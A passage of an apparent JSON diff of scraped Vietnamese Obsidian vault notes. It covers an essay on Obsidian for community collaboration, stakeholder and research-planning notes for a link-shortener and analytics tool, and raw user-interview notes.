Và các công cụ quản lý dự án hiện nay không có chức năng cung cấp thông tin của nhóm cho những nhóm khác. Chỉ khi nào nhu cầu của các bên liên quan hiện ra ngay trong kho dữ liệu của nhóm mà không cần phải hỏi họ hay thậm chí là nhập liệu, thì lúc đó chúng ta mới có thể bắt đầu nói về một hệ sinh thái mà những thành viên mới – vốn rất thiếu nhân lực – vẫn có thể hưởng lợi.\n\n⬛ Hướng giải quyết: Tạo thói quen sử dụng dữ liệu ở local cho mọi người\nTrong những phần mềm quản lý công việc trên thị trường hiện nay, mình thấy có duy nhất Obsidian (và Git) là có thể đáp ứng nhu cầu đó. Triết lý của Obsidian là:\n\n• Dữ liệu nằm trên máy của người dùng và ở định dạng đơn giản\n• Obsidian xem liên kết là công dân hạng nhất|Liên kết là công dân hạng nhất\n• Obsidian cực kỳ dễ mở rộng tính năng|Cực kỳ dễ mở rộng tính năng\n\nCác triết lý này mở ra một loạt những tính năng một dự án phát triển cộng đồng muốn có. Ví dụ như:\n• Thành viên cộng đồng có thể đóng góp những **hiểu biết sâu sắc, nhu cầu và các dữ liệu khác một cách thụ động** vào kho dữ liệu chung. Họ không cần quan tâm (quá nhiều) vào kho dữ liệu chung mà vẫn có thể làm nó phong phú hơn, chỉ bằng việc tập trung vào việc tự quản lý dự án của mình. Sự đóng góp của họ chỉ là sản phẩm phụ của việc họ tập trung vào mình.\n• Đồ thị giúp thấy được bức tranh tổng thể: điều gì nhiều người quan tâm nhất? Ai có cùng nhu cầu với ai? Để ý rằng sự chuyên gia (expertise) đến từ việc nhìn ra mẫu hình, trực giác là việc nhìn ra mẫu hình không hơn không kém, và đồ thị giúp ta thấy được mẫu hình\n• Hoàn toàn miễn phí, không có chức năng nào phải trả tiền hay tính theo đầu người. Phù hợp khi bạn cần những chức năng nâng cao hoặc khi đội ngũ mở rộng mà không có nhiều tiền\n• Với plugin, tính năng của nó có thể mở rộng theo nhu cầu và mức độ thành thạo của người dùng, khiến cho nó trở thành một giàn giáo nhận thức giúp giảm sự quá tải của bạn, khiến cho nó trở thành một môi trường tư duy để tăng cường nhận thức (augmenting cognition)\n• Có thể dùng kết hợp Obsidian với các giải pháp xử lý dữ liệu khác, tránh tình trạng phân mảnh dữ liệu do lưu dữ liệu ở nhiều công cụ khác nhau\n\nNăm 2015, để giải quyết những thách thức phát triển lớn mà thế giới phải đối mặt, Liên Hợp Quốc đã đề ra **17 Mục tiêu Phát triển Bền vững (SDG)**. Đó là động lực để các quốc gia hướng tới. Mục tiêu cuối cùng trong 17 mục tiêu đó chính là về thúc đẩy sự hợp tác. Ở Việt Nam, mục tiêu số 17 này được chia thành [17 mục tiêu nhỏ hơn](https://data.vietnam.opendevelopmentmekong.net/vi/dataset/bao-cao-t-ng-h-p). Ta hãy xem một mục tiêu trong số chúng:\n\n> **Mục tiêu 17.4:** Tăng cường quan hệ đối tác toàn cầu cho phát triển bền vững, kết hợp với quan hệ đối tác nhiều bên nhằm huy động và chia sẻ kiến thức, kinh nghiệm, công nghệ và tài chính để hỗ trợ đạt được các mục tiêu phát triển bền vững ở Việt Nam\n\nViệc phổ cập những công cụ như thế này sẽ giúp đáp ứng mục tiêu 17.4 này.\n\n⬛ Tầm nhìn: Xây dựng nền kinh tế không dùng tiền\nNếu mô hình này thành công, thì ta sẽ xây dựng một mạng kết nối nhu cầu, nơi mà mọi người đáp ứng nhu cầu lẫn nhau. Họ có thể làm được như vậy vì tất cả mọi thành viên đều biết nhu cầu nào đang có nhiều người có nhất, ai đang có cùng nhu cầu với ai, v.v. Các nhu cầu của họ sẽ được thoả mãn bằng việc trao đổi nhu cầu cho nhau, hoặc cùng hợp tác để tạo giải pháp chung. Khi mạng lưới này lớn hơn nữa, thì nó sẽ hoạt động như một nền kinh tế. Bởi vì các nhu cầu trong đây được đáp ứng mà không cần dùng đến tiền làm trung gian, nên nó là một nền kinh tế không dùng tiền. Nó sẽ là sự kết hợp giữa nền kinh tế nền tảng (platform economy) và nền kinh tế quà tặng (gift economy). Nó cũng có liên hệ rất mật thiết tới nền kinh tế chăm sóc (care economy).\n\nÝ tưởng nền kinh tế không dùng tiền không phải là một khái niệm mới. Một ví dụ điển hình là Hệ thống Trao đổi Cộng đồng (Community Exchange System) (https://www.community-exchange.org) với hơn 1200 nhóm trao đổi ở 107 nước. Tuy nhiên chưa có ở Việt Nam. \n\nVấn đề hiện tại bây giờ chỉ là: có bao nhiêu nhóm dự án sẵn sàng muốn sử dụng Obsidian cho việc quản lý dự án của mình?\n\n⬛ Phụ lục: Thách thức: [[Có sự đánh đổi giữa sự tự do sử dụng dữ liệu và sự tiện lợi trong việc hợp tác]]\nTrong ngành khoa học máy tính, việc hợp tác làm việc thời gian thực với dữ liệu được lưu ở local là một bài toán khó. Điều đó khiến cho chúng ta phải đánh đổi giữa sự tự do sử dụng dữ liệu và sự tiện lợi trong việc hợp tác. **Việc trung tâm hoá việc lưu trữ dữ liệu trên máy chủ sẽ lấy đi autonomy và agency của người dùng cuối.** Xu thế hiện nay là các nhóm làm việc qua mạng ngày càng nhiều, đến nỗi khi được hỏi về app đa số mọi người sẽ chỉ nhắc đến những cloud app như Google Drive hay Notion. Nghĩa là chúng ta đã hy sinh quá nhiều sự tự chủ dữ liệu cho sự tiện lợi đến nỗi chúng ta không còn biết gì về một loạt các phần mềm khác mạnh mẽ hơn. Việc đánh mất sự tự chủ đó là lý do khiến cho chúng ta luôn cảm thấy mình mù công nghệ, và chấp nhận rằng mình sẽ chẳng hiểu gì về công nghệ cả. Đây chính là một sự bất lực học được. Người không học về lập trình thấy việc lập trình như làm phép thuật, trong khi lập trình viên biết lập trình chủ yếu là nhờ biết google. Bạn cũng biết google vậy, vậy tại sao vẫn thấy nó giống như làm phép thuật? Chúng tôi nghĩ một phần lớn là vì đã từ lâu bạn không còn cảm giác mình có sự tự chủ với dữ liệu của mình rồi. Khi bạn đã có lại được cảm giác đó, bạn sẽ thấy mình tự tin hơn về công nghệ.\n\n---\n\n⬛ English\n#⬛ The problem\nIt’s hard for new-founded independent projects to find collaborators. Although there are many organizations that want to promote an ecosystem between projects, the optimal outcomes (not saying the expected ones) isn't achieved. Especially if the idea is so novel. Since it takes a lot of time and cognitive wordload to have deep conversations, often the project has to grow big enough to have a staff specialized in networking. \n\nFinding collaborators for new-founded independent projects with groundbreaking ideas is difficult. In the 5 years I've been involved in non-profit networks and communities, I feel that although there are many organizations that want to promote an ecosystem between projects, the optimal effectiveness has not achieved yet, despite of my great appreciation for their effort and professionalism. I must frankly say that I am very disappointed after the networking events. Everyone knew each other, but after the events, everything just stopped there, nothing could go any further. I think the most important reason is that the participants are too busy. People can't go deep enough to get to know each other. Especially if the idea is so novel. Since it takes a lot of time and cognitive wordload to have deep conversations, often the project has to grow big enough to have a staff specialized in networking. If there are community connecting organizations actively categorize and organize meetings for similar new-founded projects, that's great, but I don't see that.\n\nFor an ecosystem to operate effectively, the amount of energy spent to capture the signals of the environment must be reduced to almost zero. You do not need to ask and still know the needs of the stakeholders, and they don't have to ask to know what you need. While we always encourage asking questions, an ecosystem does not work by asking questions, but by knowing what the answers are without asking. And current project management tools do not have the ability of providing team information to other teams. Until stakeholders' needs are stored right in the team's database without having to look for it then we can begin to talk about an ecosystem where new organizations and projects – who are very short of staff – can still benefit.\n\nIn the current market of task management and note-taking software, Obsidian seems to be a promising tool that can meet the need of collaboration in large-scale. The power of them lies in Obsidian's philosophies:\n• Local-first and plain text\n• Link as first-class citizen\n• Make it super extensible\n\nThese philosophies enables a vast of functionalities that a community development project would need. To name a few:\n• Community members can **passively contribute their insights, needs and other data** in a shared repository. They don't need to care (too much) about the shared database but can still enjoy the benefit from it, just by focusing on managing their own projects. Their contributions are just a by-product of their focus on themselves.\n• Via graphs,", + "Toàn bộ nội dung": "%%\r\n#file/thành-quả\r\nĐơn vị tính ở chủ ngữ:: nhóm dự án\r\nĐộng ngữ:: sử dụng Obsidian để quản lý công việc\r\n%%\r\nTrạng thái:: #tt/đang-làm, [[Nhật]]\r\nĐộ cấp thiết:: #đct/cao, [[Các dự án có lợi nhuận không quan tâm đến các nhu cầu khác của nhóm]]\r\n\r\n\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: [[100 dự án cộng đồng thấy Obsidian giúp họ xây dựng cộng đồng mạnh]]\r\n\r\nThành quả hỗ trợ:: [[100 nhóm dự án thấy vault ❝Tự học Obsidian❞ giúp họ trong việc học Obsidian và quản lý công việc]]\r\n\r\nChỉ số dự kiến thoả mãn:: 50\r\nChỉ số:: [[Quý II – 2023]], 10\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-22T05:48:00.000Z", - "id": "PE" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "PS" }, { - "Tiêu đề": "Xây dựng hệ thống tri thức cộng đồng", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/Xây dựng hệ thống tri thức cộng đồng", + "Tiêu đề": "4 Các bên liên quan", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "Làm sao để một người có thể tìm đến tài nguyên tốt nhất cho nhu cầu của họ một cách nhanh nhất?", - "Toàn bộ nội dung": "IDE sẽ không chỉ là viết code mà còn là instruction, mental model, workflow, mindset, knowledge network/liên ngành, reverse engineer để có thể làm thế. 1 nền kinh tế mới, loại hết cò, thay thế các doanh nghiệp lớn, đưa mọi thứ về tay từng người và cộng đồng (có những thứ k cần làm 2 lần - quan điểm của tech, nghe kiểu có thể chất vấn theo cách k làm thì sao biết) nhưng đó sẽ là vde thay thế giáo dục (có những thứ k cần làm 2 lần/1 người/toàn nhân loại). Với digital education em có thể cho con người khả năng làm tất cả mọi thứ.\n\nXem thêm:: [[Làm sao để tìm được thứ cần tìm khi không biết từ khoá chính xác của nó|Làm sao để tìm được thứ cần tìm khi không biết từ khoá chính xác của nó?]]\nXem thêm:: [[Nền kinh tế tri thức.canvas|Nền kinh tế tri thức]]\n\n| Hình thức | Ví dụ | Giống | Khác |\n| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------- | ---------------------------------------------------------------- |\n| Infographic | | | |\n| Đồ thị, lưu đồ | Nhu cầu công việc và nhu cầu công nghệ, OVA, Kialo | [[Đồ thị giúp ta thấy được mẫu hình\\|Giúp thấy được mẫu hình]] | [[Đồ thị không phụ thuộc vào hướng. Bản đồ phụ thuộc vào hướng]] |\n| Hướng dẫn nhập môn, bài giới thiệu, nghiên cứu tổng quan | Obsidian Hub, giáo trình đại học, bot hướng dẫn cho người mới | | |\n| Danh sách | [Project-Awesome.org](https://project-awesome.org/), [List of lists of lists](https://en.wikipedia.org/wiki/List_of_lists_of_lists \"List of lists of lists - Wikipedia\") | | |\n| Hướng dẫn sử dụng trong phần mềm | Nhắc code, type | | |\n| Bầu chọn theo tập thể, đóng góp cộng đồng | Bình chọn trên reddit, truyền miệng, trang tin tức, thuật toán PageRank | | |\n| Tiếp thị, Sau một thời gian được chia sẻ thì cũng hết | | | |\n| Vét cạn từ khoá cho máy tìm kiếm | Tìm trên Obsidian, SEO | | |\n| Điều hướng | Trao đổi với con người, chat bot, trò chơi phiêu lưu | | |\n| Hệ thống quản lý nội dung | MediaWiki | | |\n| Môi trường tạo khả năng ([enabling environment](https://notes.andymatuschak.org/z492hGrHvRvJiEY9UfB4Mby?stackedNotes=z8ZWYXFwXV38qiCgRx7zf2ySy9WCxWvcizNVr&stackedNotes=z2qBbdZidZNjbpdggRbmgeUeVf2H7aCevSYvE&stackedNotes=z8DyCwRiC8HT89mMvtBjwcGVs5ucHPHcrScch)) | [The Humane Representation of Thought](https://vimeo.com/115154289 \"The Humane Representation of Thought on Vimeo\") | | |\n| Không gian vector từ | Phần giới thiệu cái mình có thể quan tâm ở YouTube, Netflix, Spotify | | |\n\nNếu là vấn đề liên kết giữa các khái niệm thì khác gì Tana, Neo4j, Xanadu? [A Short History of Bi-Directional Links](https://maggieappleton.com/bidirectionals) \nCâu hỏi:\n- Vấn đề nào thì nên dành thời gian để làm? Vấn đề nào có thể bỏ qua?\n- Có dễ dàng làm với số lượng lớn không?\n- Tốt nhất ở đây là tốt nhất về mặt lý thuyết hay là về sự khả thi?\n- Không phải lúc nào con người cũng dùng thứ tốt nhất. Nếu có cái không tốt bằng nhưng tiện hơn thì họ sẽ dùng (VD: [[Excel là người bạn tuổi thơ tuyệt vời, nhưng là kẻ thù của tuổi dậy thì|Excel]], [[Tạo website|WordPress]] đều là những thứ tuyệt vời ban đầu, tệ về sau) \n\n## Điều gì khiến cho sản phẩm của mình không bị lạc hậu?\nVấn đề lạc hậu khó tránh, nhưng em không nghĩ làm việc với lịch sử là một việc sẽ có ngày lạc hậu, nếu có thì cùng lắm là cách mình làm chứ không hẳn là thứ mình tạo ra, tất nhiên trong quá trình đó em cũng cố nghĩ giải pháp tốt hơn. Em nghĩ vậy là bởi dù ở tương lai mọi thứ càng tân tiến hiện đại nhưng chừng nào họ còn chưa thể quay ngược về quá khứ, thì quan điểm trong quá khứ vẫn là thứ có giá trị hơn bởi nó có thể lưu giữ những context mà theo thời gian đã có thể mất đi và không có cách nào truy lại được chính xác\n\n## Điều gì khiến cho người cần tới sản phẩm của mình nhấ", + "Toàn bộ nội dung": "```dataview\ntable\n\tsplit(file.folder,\"/\")[4] as \"Cách phân loại\",\n\tniềm-tin-về-họ as \"Niềm tin về họ\" \nFrom \"📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/4 Các bên liên quan\" \nWhere file.name!=this.file.name\n```\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-03-17T14:05:00.000Z", - "Ngày cập nhật": "2024-08-20T09:28:00.000Z", - "id": "PF" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-28T11:04:00.000Z", + "id": "PT" }, { - "Tiêu đề": "Giả thiết", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/đối ⊷ thoại/4 Kế hoạch/Giả thiết", + "Tiêu đề": "Người đang dùng Google Drive", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo giải pháp đang sử dụng/Người đang dùng Google Drive", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "đối ⊷ thoại", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Bài viết này giả định một số điều về người dùng:\n\n1. **Người dùng là quản lý hoặc thành viên của các tổ chức có nhiều dự án và hiện diện trên nhiều nền tảng:**\n - Bài viết đề cập đến việc quản lý nhiều kênh truyền thông và dự án, cho thấy người dùng có khả năng đang điều hành hoặc tham gia vào các tổ chức, cộng đồng có hoạt động đa dạng.\n\n2. **Người dùng cần phân tích và tối ưu hóa lưu lượng truy cập:**\n - Giả định người dùng cần các công cụ để theo dõi và phân loại nguồn truy cập nhằm cải thiện trải nghiệm của người dùng và hiệu quả hoạt động của tổ chức.\n\n3. **Người dùng gặp khó khăn với các công cụ hiện có:**\n - Bài viết chỉ ra các nhược điểm của các công cụ hiện có như Google Analytics và các dịch vụ rút gọn liên kết, cho thấy người dùng đã từng sử dụng các công cụ này nhưng không hài lòng với chúng.\n\n4. **Người dùng có nhu cầu sử dụng công cụ tự động hóa và rút gọn liên kết:**\n - Việc giới thiệu tính năng tự động tạo liên kết UTM và rút gọn liên kết cho thấy người dùng đang tìm kiếm các giải pháp để giảm bớt công việc thủ công và tăng cường hiệu quả.\n\n5. **Người dùng có sự hiện diện trên nhiều nền tảng truyền thông xã hội:**\n - Bài viết liệt kê các nền tảng như Facebook, LinkedIn, YouTube, Telegram, Zalo, Messenger, cho thấy người dùng có hoạt động trên nhiều nền tảng và cần công cụ để quản lý tất cả các kênh này.\n\n6. **Người dùng quan tâm đến mã nguồn mở và quyền tự trị dữ liệu:**\n - Việc nhấn mạnh rằng chương trình là phần mềm tự do và mã nguồn mở, cùng với khả năng tích hợp với các hệ thống hiện có, cho thấy người dùng quan tâm đến quyền tự do và kiểm soát dữ liệu.\n\n7. **Người dùng có thể là người Việt hoặc tổ chức Việt Nam:**\n - Bài viết được viết bằng tiếng Việt và nhấn mạnh rằng chương trình này giải quyết tốt các vấn đề liên quan đến ký tự tiếng Việt, cho thấy người dùng có thể là người Việt hoặc tổ chức hoạt động tại Việt Nam.\n\n8. **Người dùng có thể không phải là chuyên gia về công nghệ:**\n - Việc nhấn mạnh rằng chương trình dễ sử dụng và không yêu cầu đăng nhập, cùng với mục tiêu hỗ trợ người dùng cảm thấy lập trình không đáng sợ, cho thấy người dùng có thể không phải là chuyên gia về công nghệ và cần một giải pháp thân thiện và dễ tiếp cận.", + "Toàn bộ nội dung": "Người đang dùng Google Drive\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-18T06:20:00.000Z", - "id": "PG" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-28T11:00:00.000Z", + "id": "PU" }, { - "Tiêu đề": "Mục tiêu và câu hỏi nghiên cứu", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/đối ⊷ thoại/4 Kế hoạch/Mục tiêu và câu hỏi nghiên cứu", + "Tiêu đề": "Người đang dùng Notion cho QLDA", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo giải pháp đang sử dụng/Người đang dùng Notion cho QLDA", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "đối ⊷ thoại", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Giả thiết về thái độ người dùng]]\n[[Giả thiết về giá trị của Trấn Kỳ]]\n\nKhi nghiên cứu về nhu cầu sử dụng chương trình rút gọn liên kết và thống kê lưu lượng truy cập cho các dự án, tổ chức hiện diện trên nhiều nền tảng, có thể xác định một số mục tiêu và câu hỏi nghiên cứu như sau:\n\n### Mục tiêu nghiên cứu\n1. **Xác định nhu cầu**: Tìm hiểu về mức độ cần thiết và lợi ích của việc sử dụng chương trình rút gọn liên kết và thống kê lưu lượng truy cập trong các dự án và tổ chức.\n2. **Đánh giá hiệu quả**: Đánh giá hiệu quả của các công cụ rút gọn liên kết trong việc cải thiện quản lý và phân tích lưu lượng truy cập.\n3. **So sánh công cụ**: So sánh các công cụ rút gọn liên kết phổ biến để xác định công cụ nào phù hợp nhất với nhu cầu của các dự án và tổ chức.\n4. **Đề xuất cải tiến**: Đề xuất các cải tiến cho các công cụ hiện có dựa trên nhu cầu và phản hồi của người dùng.\n\n### Câu hỏi nghiên cứu\n\n1. **Nhu cầu và sử dụng**\n - Các dự án và tổ chức hiện nay có nhu cầu sử dụng chương trình rút gọn liên kết và thống kê lưu lượng truy cập không?\n - Những tính năng nào của các công cụ rút gọn liên kết là quan trọng nhất đối với các tổ chức?\n\n2. **Hiệu quả và lợi ích**\n - Việc sử dụng các công cụ rút gọn liên kết có giúp cải thiện việc theo dõi và phân tích lưu lượng truy cập không?\n - Các công cụ này có giúp tối ưu hóa chiến lược marketing và tăng hiệu quả quảng cáo không?\n\n3. **So sánh và đánh giá công cụ**\n - Những công cụ rút gọn liên kết nào phổ biến và được sử dụng nhiều nhất?\n - Các công cụ này có điểm mạnh và điểm yếu gì?\n\n4. **Phản hồi và cải tiến**\n - Người dùng có những phản hồi và đề xuất gì về các công cụ rút gọn liên kết hiện nay?\n - Những tính năng nào cần được cải thiện hoặc bổ sung để đáp ứng tốt hơn nhu cầu của người dùng?\n\nCác mục tiêu và câu hỏi này sẽ giúp định hướng nghiên cứu, thu thập dữ liệu cần thiết và đưa ra những kết luận và đề xuất phù hợp để cải thiện hiệu quả sử dụng công cụ rút gọn liên kết và thống kê lưu lượng truy cập cho các dự án và tổ chức.\n\n\n# Thông tin cơ bản\n- Giới thiệu về bản thân, công việc\n\n# Nhu cầu công việc\n- Họ làm công việc cụ thể nào trong marketing?\n- Họ có thường làm digital không?\n- Có hay \n\n# Việc ghi chép và phân loại\n- Họ thường ghi chép những gì?\n- Họ thường phân loại những gì?\n- Việc phân loại giúp ích được những gì cho họ?\n- Thứ họ có được sau khi phân loại xong giúp ích được những gì cho họ?\n- Họ phân loại như thế nào?\n - Tại sao lại dùng công cụ này mà không phải là những công cụ khác? \n- Trong tháng vừa qua họ đã phân loại dữ liệu bao nhiêu lần?\n- Mỗi lần phân loại họ tốn bao nhiêu thời gian?\n- Bao lâu họ phân loại một lần?\n- Sau khi phân loại xong thì họ làm những gì tiếp theo?\n- Nếu không phải tốn thời gian cho việc phân loại thì họ sẽ làm gì?\n- Họ cảm thấy như thế nào vào lúc phải phân loại?\n- Có lúc nào họ không phân loại không? Tại sao?\n\n# Giải pháp phân loại tự động\n- Họ có bao giờ nghĩ về giải pháp giúp tự động phân loại dữ liệu không?\n - Lúc nghĩ về nó họ đã cảm thấy thế nào? \n- Họ đã biết tới những giải pháp nào?\n - Nếu là AI thì sao?\n- Họ nghĩ rằng giải pháp đáp ứng được nhu cầu của mình nên là như thế nào?\n - Việc đáp ứng được các nhu cầu đó sẽ khiến họ khác đi như thế nào?\n- Họ sẽ làm những gì để có được nó?\n - Tức là họ thấy rằng những gì họ làm để có được nó tương xứng với những gì mà nó đã cho họ?\n\n# Hành trình người dùng ở Trấn Kỳ\n- Họ đã biết tới Trấn Kỳ thế nào?\n- Họ đã biết được gì về Trấn Kỳ rồi?\n- Cảm nhận của họ khi đọc là gì?\n- Điều gì khiến họ like, comment, share, hoặc không làm điều đó?\n- Điều gì khiến họ chưa tìm hiểu về nó?\n- Họ mong chờ gì ở Trấn Kỳ?\n\n# Quan sát việc sử dụng Trấn Kỳ\n- Điều gì ở Trấn Kỳ gây ấn tượng với họ?\n- Họ thấy chân trang thế nào?\n- Link nào ở chân trang làm họ quan tâm?\n- Họ thấy các bài viết như thế nào?\n- Có điều gì ở Trấn Kỳ làm họ muốn kể cho người khác không? Nếu không thì vì sao?\n- Có suy nghĩ nào của họ được thay đổi sau khi dùng thử Trấn Kỳ không? Nếu không thì vì sao?\n\n# Trò chuyện thêm\n- Mức độ sẵn sàng chia sẻ ghi chú này\n - Có muốn đọc bản ghi chú này không?\n- Sở thích \n- Lý do chọn công việc hiện tại\n- Nhu cầu, ưu tiên, dự định trong cuộc sống\n\n[[Mục tiêu và câu hỏi nghiên cứu người đọc các bài về Trấn Kỳ]]", + "Toàn bộ nội dung": "Niềm tin về họ:: Họ thấy Notion lag và không tự do gắn \nĐiều không chắc:: Nhu cầu của họ không cần tới Obsidian\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-18T06:18:00.000Z", - "id": "PH" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-28T11:00:00.000Z", + "id": "PV" }, { - "Tiêu đề": "Phỏng vấn Huyền", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/đối ⊷ thoại/4 Kế hoạch/Phỏng vấn Huyền", + "Tiêu đề": "Người muốn hỗ trợ người khác xây vault", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo mức độ tham gia/Người muốn hỗ trợ người khác xây vault", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "đối ⊷ thoại", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Thông tin cơ bản\n## Điều gì khiến em nhận lời phỏng vấn?\n\n# Nhu cầu công việc\nbao cáo, viết content, sự kiện, làm 2d \nctv abg, burn out, cô Hoàng Anh vẫn nói ladfđến học và gặp mọi người. Rất quý. Có một số rất ít là có thực sự quan tâm đến cộng động\nTham gia khoá edu với open. Cái hướng kinh doanh của người ta thì sustainable. Thấy quan điểm giống như là doanh nhân làm ăn, lợi cho người ta hơn là tất cả. Measurable đo đếm được, thấy hợp với cô Ánh với cô Phương\n## Công ty làm về những điều gì?\nagency marketing \nsau đó là freelance content \nsau đó là công ty điện. Nhưng mình có thể làm ddc từ a đến z sếp ngạc nhiên\n\nthấy onjob training ko hiệu quả. Thấy nv ra vô nhiều quá, sale chỉ cần tiền thôi, thấy ko chú trọng đến tính bền vững. Kêu sếp làm \n\nthế mạnh về system thinking, lên quy trình lên kế hoạch. Kế hoạch gãy vì thiếu nhân sự. CÔng ty đó phân phối sp khắp cả nước. ó nhiều phân cấp, thấy chính trị quá. Thất vọng ở đó luôn. Thấy mình giúp họ mà họ ko hiểu\nthông tin sp thì quá là tùm lum, đồ điện thì rất là khó thuộc. Có kế hoạch tập hợp hết các nv sale gom tacit knowledge lại. Word nguwio ta mới điền, excel mới nghe nhưng sếp ko nghe. Cần làm sạch\n\nalpha book rất ổn, nhưng theo israel, ko nói tới nhưng vẫn nói những vấn đề chính trị khác \n\n## Em làm công việc cụ thể nào trong marketing?\n## Em có thường làm digital không?\nDanh sách các acc clone ở công ty cũ. spam link hoặc vào group \n\nđo lường traffic link shoppee\nseeding traffic thì vào cửa hàng, muốn tăng sale thì vào sp\n\nLần gần nhất là lần nào? Bao lâu thì làm một lần?\n\n\n## Có hay đi seeding?\nLần gần nhất là lần nào? Bao lâu thì làm một lần?\n## Khi seeding thì làm những gì?\nlên kịch bản,\nlink sếp tạo\nxuất excel rồi dùng pivot table\n\nmuốn tăng độ nhận diện thì phải chấp nhận sale ko nhiều\nseeding để tăng độ nhận diện thì tăng goup\ncòn tăng ale thì thả link\năn được traffic thì shopee sẽ cho mình lên top\n\ncông ty thì muoonso làm rồi về, còn abg thì thì để mình mở mang cơ hội\n\nko thích khía cạnh mang số, nhưng thích cái khía cạnh truyền thông. Chỉ thích marketing khi sản phẩm thực sự tốt\n\nalpha book đại diện cho thế hệ tri thức chú trọng alafm giàu, thành công đồng nghĩa với hạnh phúc, với giá trị.\n## Có nghe nói tới Google Analytics ko?\n## Có đặt link UTM ko?\nLần gần nhất là lần nào? Bao lâu thì làm một lần?\n## Đặt link utm thường đặt thế nào?\n## Khi nào cảm thấy cần phải đặt link? Khi nào thì ko cần?\nhay xạo vì thấy xung quanh ai cũng xạo, cố tỏ ra ko phải là mình để đc chấp nhận\n\nngười ta ko chấp nhận sự khác biệt, nói cái ko ai nói\n# Mối liên hệ với các tổ chức khác\n## Ngoài công việc chính ra thì thường còn làm những gì?\n## ABG Dịu\n## Hứng thú với những điều gì?\n## Ai sẽ là người có quan tâm đến việc biết lưu lượng người dùng?\n## Nghĩ thế nào về việc theo dõi lưu lượng người dùng?\n## Điều gì sẽ khiến em thoải mái với việc cho người khác theo dõi hành vi của em?\n\n# Quả Cầu\nko biêt gì hết\ntìm hiểu sơ sơ vì tò mò\ntìm hiểu nhiều lĩnh vực, quản lý tri thức, triết học, tâm linh theo kiểu lý thuyết \nmột dự án những bạn trẻ họp lại với nhau cùng chia sẻ tri thức trên một nền tảng webite, Facebook \n\nthấy ý tưởng nó hay nhưng dở dang. Mối quan tâm rất lafroongj, có mục đích nhưng quên rồi.\nbài viết lướt qua có chất lượng, ko phải là khái niệm này là gì do ai . Có tính cá nhân, ó tính chia sẻ, có chiều sâu, nhưng vừa đủ để người ta ko thấy sâu quá để ko hiểu gì hết\n\ngiống spiderum, neuron nhưng thấy nó tùm lum quá\n\nchỉ đọc lướt vì thấy nó chưa có xong, quá trình luoon thay đổi, chưa hoàn thành. GIống như reddit hay quora thì ái gì xong thì đã xong rồi. Thời điểm vô trang lần đầu, vậy ko biết đời nào mới xong, để khi nào xong thì vào cày. Nên dành thời gian cho những thứ đã được chứng thực rồi\nchưa thấy tính hệ thống trong đó\n## Em biết tới QC như thế nào?\n## Ngoài QC ra thì còn đọc những gì?\n- khi có những cái mình ko lý giải được thì sẽ tìm hiểu sâu xa, để hiểu tình huống đó nhiều người có gặp ko để biết mình có làm quá ko\n- xã hộ học tâm lý học giáo dục, hành vi. giúp trả lời những thứ băn khoăn. Ngán phân tâm\n- những thứ liên quan đến văn phòng, mô hình để tối ưu quy trình, kinh nghiệm chuyên môn\n- Mô hình tư duy. tris\n- triết học ko phải ba xu \n- khoa học thường thức\n## Thấy điểm gì giống và khác?\n## Có từng nói chuyện với ai mà có liên quan tới QC chưa?\ntừng recommend cho một đứa bạn, lúc thảo luận về tâm lý, triết học. Thì bạn đó muốn nguồn để đọc thêm, thì có giới thiệu QC, spiderum. Muốn mà đọc rồi bấm link thì lên reddit, quora\nbạn muốn đọc cái hiểu liền\nhay đọc sách vì nghĩ những cái original đến từ sách, còn bài viết là suy nghĩ về những cuốn sách đó\ncó xu hướng lấy những cái hiểu để hiểu, thì cũng 50 50\n\nnguyên bản 